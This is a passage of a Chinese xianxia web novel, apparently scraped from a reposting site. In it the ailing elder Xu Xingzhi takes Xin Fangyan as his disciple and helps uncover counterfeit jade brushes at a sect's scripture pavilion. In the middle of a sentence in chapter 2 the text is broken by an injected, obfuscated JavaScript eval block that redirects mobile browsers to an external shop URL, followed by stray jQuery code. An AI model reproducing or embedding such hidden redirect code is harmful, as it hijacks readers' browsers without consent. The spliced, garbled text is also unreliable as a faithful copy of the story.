1
“今朝吾等碎奴枷,共铸生民九霄天!
“小友,正是此句偈语,令那星火道君觉醒了星火战体……”
啊——疼痛,这是六十年来徐行之每日的早课。
他一睁眼,裕州那位老先生的脸消失在晨光中,方才,又是一个梦。
庄烨……徐行之默念着那老先生的名字。起身,缓坐,丹药散剂,一股脑吞服,冲刷痛苦。
“呵呵,裕州菜吃了一天,便梦见了庄老爷子。唉,生民、星火道君、上古仙界的传说,在这太稷朝,还有多少人信啊……
“咦?这么香?粥!”
推开门,正见心方妍立于灶旁,手握长勺搅动着一锅粥。聒噪蹲坐其身后,擎暖蹲坐于一旁木墩上,一猫一狗全部盯着她,似有期待,正如她前日在此破境那般,静如松针划雾,烟梅唤月。
“前辈!早安。”心方妍看见徐行之,即刻恭敬行礼。她依然一身玄色外门弟子服,腰悬长规、角尺,螺髻三簪,但一身气质已非如初见。其心家矩尺道传承已入师境,自是从内到外透出一重重控局之气,令徐行之暗自叹服。
“好,好。”徐行之捋须微笑,刚迈一步,便瞥见庭院石桌旁,白贤亭正端坐品茶。
“哎?你俩认识过了?”徐行之问道。
“是,方才晚辈已见过白前辈,并奉了茶。”
“好,好。”徐行之接着捋须,向白贤亭走去:“贤亭兄,打个净身咒!”
呼——一波暖洋洋的感觉,衣服香了,身不油腻了,哈哈,金丹境五层给我搓澡洗衣,就是好用!
“行之,这天根云雾果露用来冲泡雾隐毛尖简直是绝配啊!”白贤亭一直望着茶盏中的茶汤,施净身咒时连头都没抬。
“跟它绝配的茶多了!”徐行之乐呵呵地坐下,也给自己斟一杯茶,饮一口,忽然心中一动,问道:“贤亭兄,三日前你与沈宗主来此,可还记得她用的那个茶盏?”
白贤亭浓眉微蹙,闭目两息,睁眼道:“记得,一个冰裂开片的白瓷小碗儿,怎么了?”
“它丢了。”
“嗨!那玩意儿不值钱,又不是什么灵物……哎?”白贤亭起先不以为然,倏地品过味儿来:“你是说,就这不值钱的玩意儿,丢了?”
说着,他又一闭眼,十息过后,一脸诧异,干瞪着徐行之:“我扫了方圆一里,真不见了!”顿了一会儿,又似呓语道:“谁会偷一个不值钱的凡物?”
“前辈,粥熬好了,请用饭吧!”心方妍清亮的嗓音招呼着。徐行之将白贤亭拉出思虑状态:“走走,先喝两碗粥去,天根云雾果露熬的,修士不饮此粥,仙途白走!”
三人在灶棚都蹲坐小木墩,围着一木锅盖支起来的“小圆桌”,呲溜呲溜喝着粥。白贤亭似是出于礼节,第一口仅是小尝,瞬间睁圆了饿豹之目,见一旁心方妍已经溜碗沿儿喝起来了,便也拉开架势,呼呼开吃。
徐行之只吃一碗,便觉得饱了,嘿嘿一笑,抹一把鼻头清汗,站起身,再帮这二人添粥。
待心方妍吃下三碗后,满意地放下碗,徐行之道:“方妍,你可曾见过一只冰裂开片的白瓷小茶碗?我最后一次见它,是在这儿。”他指了指竹架一处。
“嗯嗯,它长这样。”白贤亭还在吃粥,那碗都快扣他脸上了,却见他腾出一手,手掌一托,那只小茶碗的虚影便显示出来。
“我第一天来时见过,第二天来,便不见了。”心方妍用拇指抹抹嘴角,站起身,从腰间抽出那柄长规,道:“前辈勿忧,我找找看。”
徐行之刚为白贤亭添了碗粥递过去,白贤亭的手也接住碗,但二人都看向心方妍,定住了。
只见她将长规分成直角,一脚支在那竹架上,双手放开,隔空虚控,另只脚悬空,开始了转动。
“尺量天地,规测星辰,灵修借灵,阵修借势。失物何在?其势自在。失物何方?其势自向!”
这一段是心方妍的秘法真言,念得字正腔圆,势如破竹。待最后一字音尽,长规悬空的一脚指出了一个方向。她快速将角尺平举至一眼下,闭着另一眼顺那方向望去,一只手伸出,掐算片刻,便放松下来,边收着规和尺,边道:
“还好丢的时间未出十日,这遗势还很强,我就能定位。而且丢的距离也不远,就在我宗,应该是……藏经阁!”
“嘶——”白、徐二人四目对视,中间那碗粥依然停在中间,这俩人肯定看见了,却似没看见一样。
哈!原来是那个痴货!徐行之豁然开朗:那天从司律监回来,他已经坐屋里喝茶了,嘿!这老阴痴,沈倾雪用过的茶盏都要偷,好!好!正好昨天弄断了他那儿一根玉笔,还不知道咋赔呢,哈哈,这可就来活儿了!
“藏经阁……该不会是李维农吧?他拿你一破碗儿作甚?”白贤亭终于接过那碗粥,喝两口砸吧砸吧,满脸狐疑,冲行之嘀咕着。
徐行之勾起嘴角,垂胸的胡子都要翘起来了:“哼哼,他呀,是想找个由头,送我大礼呢!”
“哎方妍,你再看看这个,能看出来它是怎么断的吗?”徐行之掏出昨天的断笔,摆在竹架上。白贤亭站起身,一手端着碗,走近观看,好奇得就像擎暖的兄弟。
心方妍拿起一截,拇指摸过断面,也不管另一截,直接嫌弃道:“这是用下品灵石熏出来的,原料不仅是凡物,还是那种最次的品相,我们心家连烧石灰都得把它筛出来扔了。
“前辈,方妍知您修为尽失,看不出这灵气真伪,是不是在哪儿,被骗了?”
“哈哈哈哈!嗯!确实被骗了!”徐行之兴奋得双颊爆红,搓起双掌,心中泛起诡异的想法:我怎么觉得自己像只见了鲜屎的苍蝇?
白贤亭将手中粥碗吃净,深深点头:“方妍不愧是心长老后人!你这资质,不该在外门,不若……来我贯虹顶?”
“哎!那可不行!”徐行之一个激灵,好似斗鸡耸立,蟹抻大螯。
却见白贤亭将徐行之拉到一边,悄声道:“这丫头不错,收她为徒吧!”
徐行之瞬间惊奇:嗬!这憨货真是昨日那几杯老祖酒喝开窍了?懂得为我打先锋了!
“哈哈,我正有此意!”徐行之拍了一下白贤亭的肩膀,走近正不知所措的心方妍,朗声道:
“方妍,我徐行之无几日可活,就不绕弯了,且只一问,你可愿拜我为师?”
“愿!弟子愿意!”心方妍面庞泛起少见的桃夭之色,行了个宗门礼。
“哈哈哈哈哈,好!”徐行之来到庭院石桌旁,坐下,向她招手道:“来呀,还愣着干嘛?来敬茶!”
“是!师尊在上,请受弟子心方妍一拜!”心方妍跪下磕头。
徐行之捋须微笑,想起为心狷生敬茶后,他说的第一句话:“行之,你字修远的事情,往后莫要在宗内透露,且告之钦姝。事关命数,切记切记!”
待饮完茶,徐行之将心方妍虚扶起来,问道:“方妍,你可有表字?”
“回师尊,不曾有过。”
呃……看来,我还不能乱给她赐字,这事儿交给钦姝更稳妥些。徐行之稍作思忖,道:
“方妍,我行将就木,你却敢拜我为师,乃我徐行之不世之荣也!你切记,待我死后,直接认你师娘为师尊。依她的脾气,决计不会教你喊她师娘,届时她会为你赐字。
“你放心,钦姝和我同出九爻峰,她师从沮长老,对控阵一术颇有造诣。她若将你转至玄苍峰,尽可去之。如今九爻峰已衰,而玄苍一脉,实乃我玄隐正宗古脉,你定能得非凡机缘,前途不可估量。”
徐行之招呼白贤亭近前,继续说:
“今日,你我结为师徒,有贯虹顶首座教习白贤亭为证,你无需忧虑文书登录等琐事,少顷我便领你去藏经阁,再见一人,保你在主峰区域无扰。”
徐行之说罢,见白贤亭笑容可掬,拍手道:“恭贺行之收得高徒啊!方妍,我白贤亭也算是你的师伯,记好,以后受欺负了,可别自己憋着,来找师伯,定为你出气!”
说着,白贤亭纳戒一转,手里飘出一枚檀光戒指,道:“这是师伯的见面礼,接着!此戒空间三丈余,可助你用到筑基后期,里面已置足纳取灵石,可供你纳取万次,放心用,灵石不够了再找师伯!”
乖乖嘞!这憨货,纳戒一纳一取就是两次,百次就会耗掉一颗下品灵石,合着你送个价值七八十枚灵璧的纳戒再搭一百颗下品灵石啊!啧啧啧,我这首座教习的俸露是多少来着?你辛辛苦苦干一年,结果是人家的零花钱。唉,富家子弟咱比不了啊!徐行之心里盘算一番,看着心方妍已是绯红的笑脸,不禁酸味翻涌。
“谢师伯!”心方妍喜滋滋地将那纳戒戴上,反复远近观看,爱不释手。
徐行之不痛不痒地说:“当初我一个破纳袋用到筑基才舍得换了个丈余的纳戒,啧啧啧,你这师伯可没白喊,今后只要有短缺,就去找你师伯,都不是外人!”
“没错!都不是外人!”白贤亭一把搂住徐行之的肩膀,肯定看不到他内心在翻白眼。
“是,师尊!谢师伯!”
2
片刻后,藏经阁,驻阁客室内。
“方妍,按宗内师承算,行之要小我一辈,但我跟他称兄道弟惯了,你便唤我维农伯即可,都自己人,各论各的!”李维农满面红光,扶正纶巾,捻齐髭须,捋平衣领,双手向前一震袖,手中多出来一个杏核大小的吊坠,道:
“此乃博父追光镜,算是我的见面礼。你平时可戴身上,若觉有神识窥探你,只需以两息灵气催动,此镜即可闪退窥探之人。修为高你两阶者,亦能闪退,比你低的,还能被此镜反追出方位。我已预置十颗灵石,够你催动百次。”
“谢维农伯!”心方妍本就生有鹿相,如此拜师,又接了两次长辈的见面礼,一脸欣喜如鹿跃清溪,钻花丛而身沾香瓣。
“哈哈哈哈,多谢维农兄!”徐行之拱手揖礼道:
“数日后小弟一死,还望维农兄与贤亭兄对方妍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946084|213956||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
照拂一二,教她随钦姝直接转入玄苍峰罢了,期间各种转续章程,还望能寻个通路的,上下熨帖着办完,不教有甚扯皮琐事叨扰。”
白贤亭一拍胸口,瞪住徐行之:“哎你这人,怎的快死了这般婆婆妈妈,那些个文书,不就是甩几把灵石的事儿,谁还能再卡要些什么?”
李维农一手捻须,沉吟道:
“贤侄,此事也并非如此便宜。如今已非倾雪执掌宗门,每年弟子参加过选秀大会,都要签下年契,以防人才肆意转动。各峰部都对已脉弟子把控极严,这转续章程也是改得愈加繁琐。像咱这一代的老人儿,要转续还得宣威堂上下跑动,那新人弟子就更别提了……
“嗯,行之有此忧虑,乃是心思缜密啊!放心,此事我定寻个妥帖的人,届时亲自陪着方妍办妥!”
“多谢了!”徐行之再次拱手。待饮一口茶,他扬眉一笑,满脸皱纹堆出羞赧之色:
“维农兄,咳,小弟我,有件糗事要给你提一下。这……是藏经阁的催灵玉笔,我昨日总觉得它不好用,也不知怎的,竟把它握断了,唉,你看这如何做赔?”
“断了?”李维农放下茶盏,一脸不可置信,伸手将那两截断笔召至手中,仔细端详一番,惊惶之色乍露:
“嘶——你说,这是我藏经阁的催灵玉笔?专为炼气初期弟子用的,方便在青玉板上导典籍的玉笔?”
咦?这老阴痴不知此笔是劣质货吗?徐行之心中嘀咕一句,却郑重其事道:“千真万确!昨日我先是不小心将它坠地,并未断裂,后来导图有些吃劲,便心躁了几分,啪!它就断了。”
说完,他看向白贤亭。白贤亭也瞥来一眼,嘴角一勾,不动声色地饮茶。
“嗯。你且稍坐,我去去就来!”李维农一拍茶几,茶碗叮铃一响,人已出了客室。不多时,他抱一长方竹筐回来,将它往徐行之旁的桌面一撂,一股躁气冲出来:“哼,咱再看看!”
徐行之招呼心方妍近前,令她鉴别一番。心方妍只看一眼,清声道:“全是劣质!”
她见李维农面露怒色,也不怯,直接端起那筐子,举过头顶,一反扣,哗啦啦,玉笔全部坠地,却无一根断裂。
白贤亭一个激灵跳起来:“嘿!怎的突然一股灵气升腾没了呢?”
李维农本有怒色,见心方妍砸了所有玉笔,那“雁翅一回眸”瞬间支棱起来,又一听白贤亭一声嚷,便压住黑脸,朝地一看,登时无语。
“这……”他呆若木鸡,下意识接过一杆东西。那是徐行之捡起来的一根玉笔。
啪!他拇指轻轻一压,那玉笔应声折断,一个压着嗓子的阴凄声响起:“这批玉笔,是谁采买的?”
一个执事跑将进来,直扑在地:“驻阁仙台,这玉笔,每次都是小人采买,从来都是从璇玑阁进货,从未出过差错啊!”
李维农挺起身体,哼哼笑着,又捡起几根玉笔,有的只一捻便断两截。他令那执事:“你且收了灵力,只用凡人劲力,试试看!”
啪!啪啪!那执事连试几根,全部断得清脆,顿时面聚恐慌,大拜扑倒:“小人真不知,此,此批竟如此不堪!”
“且将那璇玑阁供销人事报上名来!”李维农眯缝着双眼,捻须道。
“李九智。”
“嘶——崴日踏紫夜!”一声爆喝,让徐、白、心三人吓得一怔。李维农咬牙切齿道:“李维雍那厮,今番真是惹恼我了!
“行之,方妍,多谢你师徒二人!我李维农当真瞎了眼了!哼,先去处理些琐事,待回来细说!”嗖——人已无影。
哟,这痴货,不像是演的呀!定是那简水李家作妖,哼哼,李九智,他们家想要渗透宗门,竟如此明目张胆!徐行之想着,也弯腰拾起几根笔,啪啪啪,轻松折断:原来如此!昨天有那么一会儿,我还以为修为复苏了呢!
“师尊,”心方妍泰然自若,拱手道:“此等下品灵石熏制物件的伎俩皆出自丹士,蒙一层灵气便可鱼目混珠。但只需一砸,便能破了那表层,是以方才白师伯看出了灵气逃逸。
“想来,维农伯定是受了蒙骗。制这一杆玉笔大约需十颗灵石,成品后还需预置三颗充灵能,可导百万字,加上匠人工钱,一支笔须得二十颗下品灵石。但若要丹士熏制,一颗灵石便可熏制十支,每支还可导万把字,便在验货时,寻常修士难以鉴真。”
白贤亭于一旁掐指一算,霎时间瞠目结舌:“天啊,这可是暴利啊!”
徐行之也是五指挠心,咂舌唏嘘,无以应之。
“对了师尊,”心方妍左右顾盼,浅笑一声,走近了些:“方才弟子细观,那茶碗遗势于维农伯周身甚浓,却不见其物,定是藏于纳戒中。我们来时,他许是正端详此物。”
“哈哈哈哈,好!好徒儿!”徐行之表面欣喜,内心却犯难:这也不好直接对峙啊,他若不认,我定不能搜他纳戒吧?
白贤亭一旁茫然:“话说,他偷你个破茶碗作甚?”
“哈哈哈哈……”